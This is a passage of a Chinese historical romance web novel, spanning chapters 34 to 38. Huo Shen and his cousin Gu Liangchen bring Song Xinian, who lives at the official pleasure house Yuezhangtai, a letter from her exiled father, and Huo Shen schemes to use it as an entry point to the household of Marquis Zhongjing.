贺怜怜在宋母的安抚下,沉沉睡去,母女俩轻手轻脚走出房间。
宋母说:“你在这守着吧,我自己回去就行,等汤熬好了,我叫阿昙送上来。晚上回去我教你按摩的手法,你没事就给她按按。”
宋昔年看着母亲下楼,心里突然升起悲凉感,把她今日刚有的好心情完全冲散了。
霍家门口,阿无正站在门口不停向远处眺望,不一会就有一队人马朝霍家的方向行来,阿无看清来人后,就立马跑回书房告诉霍慎。
阿无气喘吁吁进入书房,说道:“公子,来了,他们……”话还未说完霍慎率先走出书房。啊无只能叉腰叹气,又认命地跟上霍慎的脚步。
霍慎到了门口,来人正在整理衣冠,霍慎上前行礼,说道:“侄孙拜见舅爷,舅爷这一路可还平安?”
顾泽笑声爽朗地说道:“哈哈哈,勤之啊,许久未见了啊,你还是这么俊朗无双啊!”
随后而来的就是霍慎的表哥顾家嫡长子顾良辰,二人相视一笑互相行礼。
霍慎亲祖母顾渝匆匆赶来,瞧见自家哥哥立马扑进哥哥怀里,弄得顾泽有些尴尬。
顾泽轻声训斥说道:“子芳,当着孩子们的面,你注意点,自己都是做祖母的人了,这样会叫人笑话!”
顾渝说:“许久未见哥哥,哥哥难道不该问问我过得好不好吗?”顾渝双眼含泪地向他撒娇,全然不在意旁人眼光。
顾渝这样小辈们早已司空见惯,顾泽说:“那你这些日子过得好吗?”
顾渝说:“当然不好!”
顾泽说:“我瞧你面色红润,气色比孙辈还好上许多呢!你是又想诓我的好东西吧!”顾泽拉着顾渝朝霍府内走。
顾渝瞥了一眼落后她一步的霍慎,说道:“他气色不佳是活该自找的。而且哥哥说话怎么这般不好听,什么叫诓?我用得着诓吗?我可是哥哥你的亲妹妹,哥哥的东西本就该有我一份的。”
顾泽说:“你还嫌我说话难听,哪有做祖母得这么说自己亲孙子的?
”
顾渝不耐烦地说:“哥哥休想扯开话题,这次可是我生辰,可有什么稀奇的好东西送我?”
顾泽说:“那次给你的不是好东西,不是好东西你能要?”顾泽瞧着年轻的妹妹宠溺地拍了拍她的背。
顾渝满脸笑意,得意地仰头!
迎面有小厮向他们跑来行礼说道:“老爷在前厅,等候多时,请舅老爷移步!”
有霍岩亲自相陪,霍慎就与表哥告辞了。顾泽也很开明,说道:“行了,你们这些小家伙就不必陪着我们这群老家伙一起了,自己去玩吧。”
霍慎说:“那等晚间父亲从书院回来,孙儿再来陪舅爷。”二人一同行礼告退。
霍慎未成婚院子里没有专门待客的地方,也因为顾良辰是自家人就直接被霍慎引进了自己的书房。
霍慎亲自给顾良辰倒茶,顾良辰一进屋就瞧见在霍慎书房里的宋诺,他是见过宋诺的,顾良辰用眼神询问霍慎宋诺是什么情况。
宋诺看见他们的眉眼官司,主动行礼准备出去,不想打扰他们说话。
霍慎说:“就待在这儿,大冷的天,你准备去哪儿?”
宋诺说:“公子们说话,我还是回避得好!”
霍慎说:“既然你不想听你父亲他们的消息就算了!”
宋诺突然停住脚步,定定地看着霍慎想要从他口中得到确切的答案,大眼睛里充满期待。
霍慎不说话,只是下巴微抬示意宋诺带消息来的是顾良辰。
宋诺转身看着坐在椅子上悠闲喝茶的人,顾良辰微微点头表示他有消息。
宋诺的眼眶立马续满了泪水,在眼泪流下的那刻,他又立马用袖子快速擦去,又回到了属于他的小角落,安静地
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听着他们说话。
顾良辰也不卖关子,直接说道:“我收到你写的信时,就让人开始打听,大约过了两月有余,有人来报说京城的流犯到了北境。我托了很多关系才打探到宋家的男丁就在其中。亏得他们是武将出身,身体底子好还算有惊无险的安全到了流放地。我听说这一路上因天气和打斗也折损了不少人。”
霍慎说:“那表哥可有见过宋家人?”霍慎手里把玩着绿瓷杯,像是在思考着什么。
顾良辰说:“说到这个我就想问你,你为何在信里反复强调,让我一定要亲眼见到本人?你知道就因为你这一嘱托,我的损失有多大吗?”
霍慎又给顾良辰倒了杯茶,面带微笑地说:“我自然知道表哥的付出,此事实在事关重大,我鞭长莫及才仰仗表哥的,如今一切安稳,我自是不会叫表哥吃亏,毕竟我们是一家人!”
顾良辰翻了个白眼,说道:“最好是!”
霍慎说:“不敢诓骗表哥,以后北境的消息还要表哥多多帮忙才是。表哥继续说吧。”
顾良辰说:“我使了不少银子才买通了当地矿场的关系。起初人家根本不搭理我们这等商户的,但我打听到分管流犯的管事家有个嗜赌的儿子。我这才找到突破口,替他那儿子还了五千两赌债,才有了这层关系。”
霍慎说:“只是矿场的一个管事吗?会不会不太稳妥?”
顾良辰说:“霍勤之,你以为很容易吗?人家可是总管事,除了当地府衙大人,就是这位管事权力最大了。我为了和那管事套近乎,喝酒喝到胃痛了,才有让他主动说出他儿子欠债的事,让他自己和我开口提借钱。我还找人伪造了书信,让这一切看起来只是巧合,不能引起他的怀疑,我替他平了债之后,足足等了一个月才展示了信件,我从没有为任何事如此机关算尽,你说你欠我的该如何还!”
霍慎说:“这是当地府衙不知?”
顾良辰摸了摸霍慎的额头,说道:“瞧着也没发烧啊,怎么说起了胡话!我商贾的身份啊,我能搭得上府衙吗?就算我搭得上,我说了人家可能能吗?从前宋家什么身份为何被贬,有几人敢蹚这浑水?”说完顾良辰还看了坐在角落的宋诺一眼。
宋诺只是安静地低头听着,在他们看不见的地方,他的小拳头紧紧握着。
顾良辰看出霍慎的担心,安慰他说道:“俗话说‘县官不如现管,人为财死鸟为食亡’那管事收了我的钱,我也说好,只是每月送些贴补给宋家人,不会做任何不该做的事。他也交代手下人不为难他们,还向我保证只要宋家人老实干活,他会一直确保他们活得不错。”
霍慎说:“希望能如此吧!山高皇帝远,他们应该会收手了吧!”
顾良辰说:“你太杞人忧天了,他们如今在矿场老实得很,我也亲自去过几回的,不像要有动作的样子啊。”
霍慎说:“我说的不是宋家人!”
顾良辰说:“那还有谁?你是说……不会吧,怎么可能?”
35. 第 35 章
顾良辰还在震惊中,下人就来报说二爷回来了,请公子们移步前厅准备用饭。
霍慎说:“走吧,表哥!
顾良辰沉浸在自己的思绪里不能自拔。
霍慎看着顾良辰没有反应就又唤了声,说道:“表哥,我爹回来,我们该去前厅陪着用饭了!”
顾良辰说:“哦,好,吃饭,吃饭!”顾良辰走之前还转头看了依然坐在书房角落的宋诺一眼,心里惋惜。
霍慎见到霍岩规矩行礼,霍岩却只是淡淡地扫了他一眼,没有说话。
霍慎刚落座,顾云就款款而来,满脸欣喜地说道:“总算盼到堂爷爷和堂兄归来了。这一路上可还安稳?”
顾泽说:“顾云啊,多年未见,你也长成大姑娘了啊。你在宫里当差,怎么会在霍家呢?”
顾云害羞地说:“我是得了公主的恩典,允我回家探亲一段时间,表姑奶奶就把我接来了霍家小住。”
顾良辰说:“那你可有回家见过你父母?”
顾云瞬间低下头说:“我假期有限,等表姑奶奶过完生辰,我就要回宫了,还没来得及回家一趟,所以此次我想请堂爷爷帮我给家里捎点银子回去,也让我尽尽孝心!”
顾泽说:“这自然是小事一桩的。你在宫里安心当差就是。”
顾渝说:“哥哥也帮我带点东西送给她爹娘,就算是我占用他们女儿的报酬吧。”
顾泽指着自家妹妹说:“你呀你,怎会做出这么没有分寸的事,顾云几年才回家探亲一次,你居然强留她在你这儿,害得她连双亲的面都没见到。”
顾渝自知理亏,说道:“我本打算……谁知……算了不说了,这事的确是我做得不妥,哥哥去了她家好好替我赔个不是吧。”
顾云尴尬,不知如何转圜,只能低头不语。
霍岩说:“饭菜上桌了,大家先吃饭吧。”
霍二爷自觉地去搀扶自己母亲,顾云嫌弃地看了他一眼,但还是把手交给了儿子。
饭后,因为顾家人长途奔波十分疲累,便早早歇息了。前厅最后只剩下霍家二房一家五口。
霍岩率先开口问道:“听说你近几日都不用去翰林院?”
霍慎说:“皇上身体欠佳,几日都免了朝会,我们翰林院自然清闲许多,我手上的事务都忙完了,所以可以休息几日。”
霍二爷说:“那岂不是正好可以在家陪你祖母过生辰,我起初还担心你没时间呢。”
不等霍慎回答,霍岩再次开口,说道:“听说你去了乐章台?”霍岩端起茶杯喝了一口。
霍二爷吃惊地站了起来,不可置信地看着自己的儿子。
顾渝说:“你要干嘛?吓死我了,你激动什么,人家正主可是一点都不慌张呢!”顾渝用手帕擦拭着溅到衣裙上的茶水。
霍慎镇定自若地说道:“是的,那日恰巧偶遇同僚,就一起去喝了杯酒而已。”
霍二爷说道:“既是喝酒,那为何不去酒楼非要去那种腌臜地方?”
霍慎说:“父亲是教书育人的书院先生,怎可说出这么带有偏见的话?”
顾渝说:“这话说得好,你爹就是有时候太迂腐了,也不知道随了谁?”
霍二爷气急,说道:“混帐东西,你怎么敢怎么和我说话,你别以为你现在进了翰林院就可以目无尊长了!”
霍岩将茶杯放在桌上,发出了‘咚’的声响,不轻不重,但吓得霍二爷不敢吱声,尴尬地慢慢坐下了。
霍慎说道:“我现在入了仕途,总要和不同的人打交道。俗话说‘穷不过三代,富不过三代’霍家如今到了我们这里正好是第三代了,总要有人先踏出这一步的。”
霍岩说:“你觉得你能做这个探路人吗?”
霍慎说:“难道还有人比我更合适吗?祖父!大哥已经是书院先生,二哥性子刚正不懂变通,三哥善于经商,小五还是个孩子,家里只有我最适合走这条路了。
”
霍岩说:“按照你的想法就去做吧。”
霍二爷说道:“以后不许再去那种地方,要记得君子端方!”
霍慎说道:“父亲此言差矣,我初次去乐章台时,才知道乐章台也有许多文人墨客前去观赏歌舞。而且我发现乐章台的房屋设计十分巧妙,不像一般人能设计出的。”
霍岩说:“你倒是观察细致,乐章台虽然是寻欢之地,但到底是隶属朝廷,所以修建它的工匠都是出自宫里。”
霍二爷说:“父亲您怎会如此清楚?”
霍岩皱眉说道:“怎么你还想管到我的头上不成?
”
霍二爷低头说道:“我只是觉得君子立身要正。
”
顾渝赞同地说:“照你这么说,你父亲娶我做妾,的确是立身不正,有违君子之道。”
霍二爷连忙否认说道:“母亲,我不知这个意思,我是希望勤之不要误入歧途才这么说的
。”
顾渝说:“你倒是走上了正道,我也没见你有多大出息啊。瞧你把媳妇养得全身上下没一样值钱的,说出去我都替你丢人。”
霍岩说:“行了,没你这么数落儿子的,节俭点,没什么不好,只要你自己舒服就好。”
霍二爷吃了自己母亲一顿训斥,有些生气,便行礼告退了
。
顾渝指着他离开的方向,说道:“你瞧瞧你的好儿子,脾气还真是不小,摆脸子给谁瞧呢!”
霍岩无奈说道:“行了,你都一把年纪了,别生气,你儿子的脾气自然像你,我可不会如此。”
霍慎见父母都走了,自己也准备告退回去休息,却被祖母拦住。
顾渝说“你先别走,我还有事要问你,刚你父亲在我不好开口,现在他们都走了,你给我局说话。”
霍慎说:“祖母可是想问我对亲事的想法?”
顾渝说:“对啊,你若觉得顾云不好,我便再为你寻摸别人,天下女子何其多,总能找到让你满意的。”
霍慎说:“既然祖母问了,我就给您一句实话,我的确不喜欢顾云祖母早日将她送走。”
霍岩说:“但她现在好歹也是公主身边的人,还是要给他留些体
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面的。”
顾渝说:“当初明明是她自己对你有意思,我才顺水推舟想让你快点走出情伤,今日她居然一门子都推我头上,若真是识趣早就该看出勤之对她无意,自己应该自动请辞才对。”
霍慎笑着问:“我母亲上次分明和我说,祖母希望我能早日为霍家生下长孙的,如今听祖母这么一说,想来是我误会祖母了。”
霍岩笑着说道:“你们还在打赌?只是为了一副珍珠头面,你居然忍心出卖你亲孙子?”
顾渝说:“你是男人,你懂什么呀,那珍珠头面可是整整十二件呢。是姐姐的当年的陪嫁呢,我花了好久的时间才哄得她愿意用这套珍珠头面做注与我打赌。”
霍慎听后一头雾水,霍岩解释道:“你祖母与你嫡祖母在打赌看谁第一个能抱上男孙,对赌是一套珍珠头面。”
霍慎说:“为何要打这个赌?”
顾渝说:“你懂什么,深宅大院的女人无聊了,自然要找些消遣来打发时间的。”
霍慎说:“那为何要选整套珍珠头面做赌注,以祖母的身份是没办法带着出门的。”
霍岩脸色有些不好看,说道:“你这话是什么意思?”
顾渝无所谓地说:“那又如何!我自己在家戴不行吗?你活到最后就会发现,人生最重要的就是学会取悦自己!”
霍慎说:“取悦自己吗?但我觉得不是很容易。”
顾渝说:“于你而言,现在自然很难,那是因为你走的路还太短,你想要的也太多了。”
霍岩说:“阿渝,你只怕这次是要输了!”
顾渝叹气:“哎,原以为儿子没出息,没想到孙子更是不争气,白白浪费了一副好皮囊。算了,我先回去了。”甩了甩帕子顾渝准备走。
突然开口又对霍慎说道:“你舅爷给了我好些峨眉竹叶青,你有空到我那去拿些回来喝。”
霍慎听了身子微怔,躬身行礼,看着顾渝离去。
霍岩说:“我记得你表哥他们是从,北境回来的,你找机会问问他有没有什么门路能打听到宋家人的消息。”
霍慎说:“祖父为何要我打听这个?”
霍岩说:“这件事终究是我霍家欠宋家的,如果能得了什么消息好让宋家女眷安心些,也算是一种补偿吧。”
霍慎说:“祖父如此说,是否宋家获罪的事与霍家有所关联?”
霍岩说:“说是有关也不算,但说无关也不能,当初皇上怀疑远北将军,也曾传召我入宫,问过我的意见。按说我们两家已经说定亲事,我应该为他从中斡旋,但我却没有。这件事我耿耿于怀许久。”
霍慎说:“那祖父为何当时没有出手相助呢,你也知道我与她……”霍慎始终没把剩下的话说完。
霍岩说:“当时皇上已经重病在身,自古‘帝王久病必疑臣,’我怎知这不是皇上对霍家的一种试探,我只能选择弃车保帅。如果是你,你会怎么选?”
等了许久霍慎没有回答,霍岩就自己负手回了后院休息。
霍慎则苦笑道:“我也早就做出了选择啊!”
36. 第 36 章
霍慎从前厅回来觉得十分疲累,简单洗漱之后倒头就睡。今日对他来说接收的信息实在是有点多,自己眼中温良恭俭的祖父,其实精通阴谋算计,印象里擅长见风使舵的祖母实际上才是家里活得最通透之人,他深刻地意识到自己似乎从未看清过自己的家人。
这一夜他整夜浅眠,不断地陷入梦魇里。她梦到宋昔年在他面前撒娇耍赖只是为了与他多待一会儿,也会不断都反复梦到大婚那日的情形,宋昔年失魂落魄的样子在他的脑海里一直不断盘旋,最让他挥之不去的是宋昔年最后的那个回眸和落寞离去的背影。霍慎在醒来时,汗水已经浸湿了他的衣衫,那令他熟悉的头痛疯狂地向他袭来。
今日本是高兴的日子,但霍慎却精神不佳,顾渝的生辰宴上所有人都能看出他的无精打采。
宴席散去之后,霍家所有人都送来了礼物,霍慎把自己的礼物交给顾渝,霍慎不发一言准备离开,却被顾渝出声留住。
顾渝说:“你去和顾云说清楚,我明日就打发她走了,你既然对她无意也就不用她每天虚情假意地在我身边刻意讨好了,我看着都替她累得慌!”
霍慎说:“好,我知道了,祖母。”
顾渝说:“你也别太过分,毕竟是女孩子,而且她还是公主身边的,不好轻易得罪的。”
霍慎皱眉说道:“我自有分寸的,祖母只管备好礼品就行。”霍慎现在头痛欲裂,心情极差。
霍慎出了祖母的院子,就直奔顾云的住处来了,顾云在房里悠闲地喝茶,看起来十分享受现在的日子。
霍慎直接踏入房内,并未提前打招呼,顾云被他吓了一跳,立刻整理仪容起身向霍慎行礼。
顾云含羞带怯地说道:“霍慎哥哥怎么来了?”
霍慎直奔主题,冷冷开口说道:“祖母说你的休沐也快要结束了,想明日送你出府,我觉得有些话必须在你离开前和你说清楚才行。”
顾云脸色不太好看,似乎知道霍慎要说什么,但是她依然故作镇定地说:“霍慎哥哥,你我之间不必如此客气,不妨有话直说。”顾云还是对他抱有最后一丝希望。
霍慎说:“你应该清楚我祖母接你到霍家小住的目的,但我觉着这样很是不妥,其一你若真嫁给我必然只能做妾,其二我的事你也清楚,若你这么快就嫁过来,一定会成为众矢之的,再者我自己目前并没有成婚的打算。”
顾云说:“我知道哥哥的考虑,但如果我说,我愿意嫁给你做妾呢?如此我还是一点机会没有吗?”顾云说着眼泪已经在眼眶里打转了。
霍慎说:“你如今在公主身边当差,若能有幸出宫,寻一户富庶人家做正室嫡妻,想必不是难事,何必非得上赶着给我做妾呢?”
顾云说:“哥哥可能不知道,做普通人家的正室,要操心的可不比在官宦人家做妾来得少。就像我表姑奶奶在霍家就过得很自在啊!”
霍慎嗤笑一声,说道:“那你怎知这就是我祖母想要的生活呢?”
顾云急了不顾脸面名声就直接说:“可是这就是我想要的生活啊!”
霍慎脸色不善地看着她,说道:“你所看到的并不是所有,你就这么轻易地做了决定吗?”
顾云知道自己刚才的话说得有些冒失了,又立刻改口道:“我的意思是,以哥哥的才学品貌胜过寻常男子许多,所以就算做妾我也不觉得委屈的。”说着说着顾云自己脸红了起来。
霍慎说:“我可不如我祖父会哄人,以你的性子自然也做不到我祖母那般,所以你期望的美好生活我注定给不了,你早点另觅佳婿吧。”
顾云说:“我到底哪里不好?”顾云鼓起勇气抬头看着霍慎。
霍慎看着她,突然笑了,说道:“我记得。我好像少了一幅画,那幅画现在是在你这里吧?那画是雪景白首图,有白头偕老的意思,寓意很好,你眼光不错,你既然喜欢,那这幅画就送你了,你祝你早日能找到与你白首相携之人!”说完霍慎转身就走了。
霍慎回到书房,刚坐下没一会,顾良辰就风风火火地冲进书房,一副十万火急的样子,看到他这样霍慎的头越发地疼了。
霍慎整个人靠在椅子上,单手揉着太阳穴,眉眼微抬,对顾良辰说道:“表哥急急忙忙地来所为何事啊?”
顾良辰双手撑在书案上,双眼紧盯霍慎卖起了关子。他严肃地说:“勤之,你想好了我要如何谢我了吗?”
霍慎说:“我说了会谢你自然不会食言,你买通关系的花销霍家都会承担的。”
顾良辰惊讶地说:“你把这事告诉你祖父了?虽然我是花了不少钱替你把事情办妥,但是我也没想过要你还钱啊!你怎么敢把这事说出去的,不拍他们说你自作主张啊?”
霍慎扯了扯嘴角,说道:“原来是有顾虑,可现在不怕了!”
顾良辰幸灾乐祸地说道:“哟,如今你出息了,不怕有辱霍家门楣了?”
霍慎有些得意地说:“我怎么会有辱自家门楣,昨儿祖父自己主动吩咐我,让我跟你打听北境有没有宋家人的消息,我如今正好顺水推舟,顺带把银子给你岂不是好,难道你还不想要?”
顾良辰说:“你能给我,我自然是要的,况且这委实不是一笔小数目,也亏得我祖父开明,说是你相求,必是要办成的,不然靠我自己一次性还真拿不出这么多钱。”想了想顾良辰突然低头笑了起来。
霍慎说:“如今表哥只需回去等银子就行,我今日头疼得很,表哥还是回去再慢慢笑吧!”
顾良辰转身坐在椅子上说:“我敢保证,你今日撵我走了,你明日一定会后悔!”
二人从小关系要好,也算对彼此有些了解,霍慎知道顾良辰能这么说,就说明他一定还知道什么自己不知道的事。
霍慎顺势奉承他,说道:“表哥消息灵通,可是人尽皆知的,你就帮人帮到底,送佛送到西可好?”
顾良辰装腔作势地说:“我怎么突然这么渴啊!”
霍慎无奈起身亲自为他倒茶,问
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道:“如今可以说了吗?”
顾良辰说:“我昨天太累给忘了,宋叔,写了一封信叫我捎回京城转交给他的家人。”
霍慎瞬间精神抖擞,问道:“信呢?”
顾良辰从怀里抽出一个信封,故意放在霍慎眼前晃了晃,又收回怀里,说道:“说吧,能给我什么好处?别再拿银子堵我,说不定以后还要帮你一直打点,多的是要花银子的地方,你就算给我再多也是应该的。你再想个别的好处,和我换这封信吧,不然这个好人我可不会便宜你去做!”
闻言,霍慎思量片刻,开口说道:“表哥可有想过留在京城?”
顾良辰被他问蒙了,你说什么?留在京城?这皇城脚下,我们就算想留,也得有留下的资本啊。我们顾家虽算得上富商,但在京城没有依仗,你们家全是文人墨客。只怕撑不起顾家偌大的生意架子。我祖父你不会好意思叫姑爷爷舍了面子出来撑着的。
霍慎说:“顾家常年来往于边境,在边境四方都有店铺,现在唯独京城还没有店铺,若是能把边境的东西运往京城来卖,何愁没有生意!”
顾良辰说:“我们在京城已有供货商,是不好再抢客户的生意的。”
霍慎说:“若你的店铺只售名贵珍玩珠宝呢?”
顾良辰说:“只要和原有的客户,错开受众,自然不会影响到他们的生意,也就不算违约了。但珍玩珠宝各地受众都不同,我怕弄来也打不响名气,这些东西都十分名贵价格不菲,若是卖不出去,岂不是亏得血本无归?”
霍慎说:“若是能成为皇室专供,自然就不必担心这些了。”
顾良辰说:“我们普通百姓,这不是天方夜谭吗?凭什么收买能办成此事的权贵啊?人家什么都不缺,我们连个敲门砖都没有。”
霍慎指了指顾良辰怀里的信,说道:“敲门砖就在表哥怀里,就看表哥敢不敢了!”霍慎邪魅一笑。
顾良辰皱眉,问道:“你说宋家?宋家如今已经是戴罪之身,如何还有这本事?”
霍慎说:“百足之虫,虽死未僵!”表哥知道忠静侯府吗?
顾良辰说:“忠静侯府是皇后的母家,我当然知道!”
霍慎说:“忠静侯府小侯爷和宋昔年的关系甚好,所以我才说,这封信是最好的敲门砖!”
顾良辰说:“我知道他二人关系匪浅,没想到竟然好到如此地步?这么大的事,就凭一封信就能成?”
霍慎苦笑着说:“有些事,在我们这儿难如登天,在别人那就是轻而易举,这是豪门贵胄的特权。”
顾良辰说:“可是你这样算计宋家小姐,会不会不太妥,毕竟你们曾经……”
霍慎说:“我替她照拂打探失散家人的消息,明明是在帮她,何来算计?表哥是怕了?”
顾良辰说:“怎会!”
霍慎起身朝外走,说道:“那走吧!”
顾良辰一脸疑惑,问道:“去哪?”
霍慎说:“乐章台!”
37. 第 37 章
二人乘坐马车,直奔乐章台前去。顾良辰觉得这一切来得太快了。
顾良辰说:“勤之啊,我们如此会不会有些草率,是不是需要提前和长辈们商量一下?”
霍慎说:“表哥打算在舅爷面前空谈想法?表哥注定是顾家未来的掌事之人,不必瞻前顾后,此事于顾家而言,百利而无一害,表哥真的一点也不心动?”
顾良辰说:“你就如此确定全无坏处吗?”
霍慎端正坐姿说道:“此事若成了,顾家便可顺利立足在京城。若是不成,宋昔年也会念着我们今日的传信之情,既能有一次就可有以后的许多以次,他们不会想把路走死,就一定要和我们维持好关系,表哥,你经商多年,怎会不知想要和人保持常来常往该当如何!”
顾良辰说:“若想要关系长久,最牢靠的便是有共同的利益!”
霍慎说:“正是如此,人情欠着欠着就有了,在这世上最难偿的就是人情债!”
顾良辰点头,突然拍手说道:“这样你就能顺理成章地与她接触,果然是既利了我,又便了你,真是一石二鸟的好计策。你真的没有后悔过吗?”
霍慎说:“我怎么感觉表哥有贬损我的意思?”
顾良辰:“怎会是贬损,你想多了,哈哈哈!”顾良辰有些尴尬。
霍慎说:“随你如何想我,就像祖父说的,本就霍家亏欠宋家,我只不过是想补偿罢了”
到了乐章台,因为时辰尚早,乐章台还未正式开台,霍慎看着如此安静无光的乐章台,觉得现在这高楼长梯就像是最大的囚笼,束缚着这里的所有人。与每晚的纸醉金迷截然相反,现在更显凄凉。
突然三楼的大窗被拉开,杜妈妈站在楼上居高临下俯瞰霍慎。
杜妈妈说:“霍公子,怎会此时来访?我乐章台还未开台,霍公子,所为何来啊?”杜妈妈声音冰冷,语气里不带半点讨好。
霍慎行礼,开口说道:“我受人所托,还请妈妈通融!”霍慎严肃有礼,
杜妈妈对一旁的阿悯耳语,说道:“你去将人寻来与他见上一面吧。”
霍慎被人引进二楼雅间,顾良辰感叹道:“乐章台还真是气派,果真是青楼窑馆不能比的。”
有人进来奉茶,说道:“杜妈妈要我转告公子,公子要见的人已经派人去请了,还请公子稍等片刻。”说完那人自觉退出雅间。
阿悯来到贺怜怜房门前,敲门之后过了许久,才有人回应。
阿悯进入房内才发现贺怜怜正在睡觉,房中只有她一人,不见那两个小丫头的身影。
贺怜怜翻身,撩开床幔一角发现,来人是阿悯,便放下床幔说:“还没到开台时间啊,悯婶怎么来了?”
阿悯说:“有人来找阿梦,台主让我来叫人!”
贺怜怜说:“她们都在下院,不过今日小侯爷来得也太早了些。”贺怜怜准备起身。
阿悯说:“你若累了,就继续歇着吧,今日来的不是小侯爷。”
贺怜怜撩开床幔,吃惊地问道:“除了小侯爷,还会有谁能来找她?不对,这个时间找她的也只有一人了。”
阿悯没有回答贺怜怜算是默认,转身出去寻人了。
阿悯亲自到下院找人,宋昔年她们今日正在包饺子,不久之后便是冬至,提前为那天做着准备。
透过半掩的门发现,屋内气氛极好,有说有笑,阿悯有些不好意思进去打扰,只是站在门口看着,沉浸在自己的回忆里。
阿昙出来打水,抬眼瞧见门口有人影,出声询问道:“是谁站在那?”
这句询问,也拉回了阿悯的思绪,阿悯推开门,说道:“是我,我是来找阿梦的!”
阿昙说:“悯婶,您怎么来了也不进屋啊?”阿昙立即起身,在围裙上把手擦干,迎了上去。
宋昔年闻声,出来看了看,屋里的人也停下了手里的动作,向门口张望。
宋昔年说:“悯婶,找我有何事?进屋喝杯茶慢慢说吧。”
阿悯说:“不进去了,有人找你,台主让我来叫你去见见,你收拾一下和我走吧。”
宋昔年摘下围裙,回屋拿了面纱,就稀里糊涂地和阿悯走了,阿昙好奇也跟着一起上去了。
其间阿悯未说一句话,宋昔年便不敢问是谁要找自己,到了雅间门口,阿悯走了,宋昔年明白人就在里面了。
宋昔年转身对阿昙说:“你去看看怜姐姐醒了没,我自己进去就行。”阿昙点头绕过长廊,朝着右边官妓们的住处行去。
阿昙当推门轻轻进入贺怜怜房间,贺怜怜就说:“你别进来了,找个人去忠静侯府,给小侯爷传个话,就以我的名义请小侯爷今晚来乐章台一叙!”
宋昔年敲门进屋,发现霍慎坐在屋里自在喝茶,她一只脚踏进屋了又收回来了。见她想走霍慎也不阻拦。
顾良辰忍不住,率先开口,说道:“好久不见啊,弟妹!”
这一声‘弟妹’引得宋昔年和霍慎同时看向他,顾良辰才意识到自己刚才说了什么。
顾良辰解释道:“额。这不是从前叫习惯了嘛!下意识地就脱口而出了,对不住,对不住。不过我们找你是真的有要事,你先进来,我们慢慢聊。”
宋昔年知道顾良辰不是故意为之,毕竟当初是自己主动要求人家叫自己‘弟妹’的如今他说叫习惯了宋昔年也不好计较。
宋昔年还是进了屋,只要不是孤男寡女,自然也没什么妨碍了。宋昔年规矩地向他们行礼。
霍慎看到宋昔年如此低眉顺目的,莫名有些烦躁,突然觉得这上好的碧螺春喝到嘴里十分苦涩,不由得皱起了眉头。
顾良辰觉得气氛实在是尴尬,便说道:“大家都算是老熟人了,昔年你快坐下吧,别客气!”
宋昔年刚想坐下,房门被人敲响了,宋昔年主动去开门,没想到是阿悯。
阿悯把手中托盘交给她,自己直接走进屋里,向霍慎他们行礼。
阿悯说:“台主说,乐章台今日尚未开台,怕怠慢二位公子,所以台主特意拿出自己珍藏的茶请公子们品鉴。”阿悯看了一眼宋昔年,宋昔年自觉地把托盘放在桌上,方便他们挑选。
阿悯
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对宋昔年说:“这些茶先放在这,等会你煮了请公子们喝便是。”
宋昔年并未出声,只是向阿悯微微屈膝,表示自己明白,随后有人奉上点心,阿悯才带着人离开。
宋昔年坐下开始煮茶,终于说出了进屋后的第一句话:“喝什么?”
霍慎说:“竹叶青吧。”霍慎刻意观察了宋昔年的反应。可惜宋昔年只是很平静地默默煮茶。
顾良辰说:“你就不好奇我们为何来找你吗?”
宋昔年煮着茶,问道:“为何?”
顾良辰说:“我们是特意来给你送信的,你父亲给你的信哦!”
宋昔年煮茶的手一顿,转头看向顾良辰,眼神里充满探究。
顾良辰说:“哈哈哈,没想到吧,惊不惊喜!”顾良辰一脸求表扬的模样。
霍慎说:“别废话了,快把信拿出来吧。”
顾良辰从怀里拿出那封信递给宋昔年,宋昔年伸手出去,却不敢接,悬在半空的手微微颤抖。
霍慎说:“怎么不想看看你父亲,给你写了什么?”
宋昔年鼓起勇气接过信封,打开之后,信上只有一句话“我们皆安好,望你们亦是!”
宋昔年哽咽地说:“是父亲的笔迹没错。”
顾良辰说:“如假包换。我当时就在场的。”
宋昔年说:“你为何会见到我父亲?”
顾良辰说:“顾家常年四处行商,这次刚好就在北境,勤之就托我打听一二,我辗转打听到了你父亲所在的矿场,就见上过几面,他们都挺好的,我已经和那矿场管事混熟了,他答应会照拂他们,不会让他们太难过的。”
宋昔年起身郑重地向顾良辰行礼,被顾良辰拦住,我不过是个跑腿的,你要谢就谢勤之好了。
宋昔年看向霍慎问道:“为何帮我?”
霍慎说:“不过顺手。况且我早就和你说了‘我们来日方长’你不记得了?”霍慎抬头看向宋昔年。
宋昔年有些心虚地低下头,说道:“我以为你那是气话,所以……”
霍慎说:“气话?我为何要生气,我从未对你生过气,不是吗?”
宋昔年没有抬头看霍慎,否则就会知道霍慎此刻已经露出了得意的表情。
宋昔年不知如何回答霍慎,于是转头问顾良辰,说道:“你说你和矿场管事很熟?那以后能否……”宋昔年到底还是没好意思说出口。
顾良辰说:“当然可以,我早就吩咐手下信得过的人,要时常去探望宋家伯父了,你能偶尔带书信出来,只不过若是你想回信,信上该写什么不该写什么,你的清楚,最好别太长,毕竟进出都会被人打开检查的。”
宋昔年激动地说:“当然,你肯帮忙,我已经不胜感激,不敢奢求再多了,不会让你难做的!”
霍慎说:“我们这么帮你,你准备拿什么来交换?你应该知道天上不会掉馅饼的道理吧!”霍慎突如其来地一句话,让宋昔年愣在原地。
此时,雅间的门突然被打开了,王靖宇嘴角上扬,说道:“我就知道你必然有所求!”
38. 第 38 章
霍慎微微扬起嘴角,说道:“你来得还真是快啊!”
王靖宇:“你早料到我会来?”
宋昔年:“这一切都是你算好的?”
霍慎不理会宋昔年,只对王靖宇说:“你既然来了,咱们就开门见山吧!”
王靖宇大步走进屋内,坐在宋昔年身侧,说道:“你若有事相求,只管找我就是,何必再来搅扰她?”
霍慎有些不悦地说:“怎么,你来寻她不算搅扰,别人就算了?你还是这么霸道!”
王靖宇指向自己,看着霍慎说道:“我霸道,行,你说我霸道就霸道,但你不觉得你自己更可恶吗?总是自以为是地决定一切,难道所有人都能任由你算计不成?”
顾良辰说:“小侯爷这话严重了,哈哈,这最多算互惠互利,没到算计的地步!好歹大家都有交情,不会真的伤及情分的。”
王靖宇很是不屑。还要反驳,却被宋昔年拦下了。
宋昔年说:“行了,等会儿就要开台了,我没有多少空闲时间,直截了当点吧,若我想托你们帮我维持与父亲的联系,该用什么去交换?”
霍慎说:“以你现在的处境,你觉得你有本钱吗?”
王靖宇臭屁地说:“她自然有本钱,她的本钱就是我!你的最终目的难道不是我?”
